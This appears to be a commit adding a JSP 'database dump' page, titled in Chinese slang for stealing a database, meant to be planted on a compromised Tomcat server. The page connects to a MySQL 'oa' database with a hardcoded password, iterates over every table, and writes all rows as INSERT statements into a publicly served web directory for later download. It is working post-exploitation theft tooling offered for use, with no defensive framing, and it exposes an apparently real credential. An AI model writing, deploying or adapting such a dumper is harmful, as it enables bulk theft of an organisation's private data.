update jsp

drag/mysql_jsp脱裤.txt

@@ -0,0 +1,89 @@
+<%@ page import="java.sql.*" %>
+<%@ page import="java.util.*" %>
+<%@ page import="java.io.*" %>
+<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
+<%
+try {
+    //±¸·ގļ�ľ�¾¶
+    String backupDir = "/home/tomcat-oa/webapps/ROOT/video/ab1/";
+    String ex=".txt";
+    String driver = "com.mysql.jdbc.Driver";
+
+    String url = "jdbc:mysql://localhost:3306/oa";
+    String username = "oa";
+    String password = "LOa2(2.DX,v>15^td8nWe!L";
+
+    Class.forName(driver);
+    Connection conn = DriverManager.getConnection(url, username, password);
+
+    // Get tables
+    DatabaseMetaData dmd = conn.getMetaData();
+    ResultSet rs = dmd.getTables(null, null, "%", null);
+    ArrayList<String> tables = new ArrayList<String>();
+    while (rs.next()) {
+        tables.add(rs.getString(3));
+    }
+    rs.close();
+
+
+
+    ResultSetMetaData rsmd = null;
+    Statement stmt = conn.createStatement();
+    for (String table : tables) {
+
+        rs = stmt.executeQuery("SHOW CREATE TABLE " + table);
+        rsmd = rs.getMetaData();
+        while (rs.next()) {
+            /*
+             * mysql> SHOW CREATE TABLE t\G
+             *************************** 1. row ***************************
+             *        Table: t
+             *        Create Table: CREATE TABLE t (
+             *                        id int(11) default NULL auto_increment,
+             *                        s char(60) default NULL,
+             *                        PRIMARY KEY (id)
+             *                      ) TYPE=MyISAM
+             */
+            // JDBC is 1-based, Java is not !?
+//            osw.append(rs.getString(2) + "\n\n");
+        }
+        rs.close();
+
+        out.println("Dumping data for table " + table + "...<br />");
+        OutputStreamWriter osw = new OutputStreamWriter(new FileOutputStream(backupDir+table+ex), "UTF-8");
+        BufferedWriter bw=new BufferedWriter(osw);
+        rs = stmt.executeQuery("SELECT * FROM " + table);
+        rsmd = rs.getMetaData();
+        while (rs.next()) {
+            bw.append("INSERT INTO " + table + " VALUES(");
+            // JDBC is 1-based, Java is not !?
+            for (int col = 1; col <= rsmd.getColumnCount(); col++) {
+             bw.append("'");
+                if (rs.getString(col) == null)
+                 bw.append("");
+                else
+                    bw.append(rs.getString(col));
+                if (col == rsmd.getColumnCount())
+                 bw.append("'");
+                else
+                 bw.append("',");
+            }
+            bw.append(");");
+            bw.newLine();
+        }
+        bw.flush();
+        bw.close();
+        osw.close();
+        rs.close();
+    }
+    stmt.close();
+
+    out.println("backup is ok");
+
+    conn.close();
+} catch (Exception e) {
+    response.setStatus(200);
+    e.printStackTrace();
+}
+out.println("<p><h3>finished</h3></p>");
+%>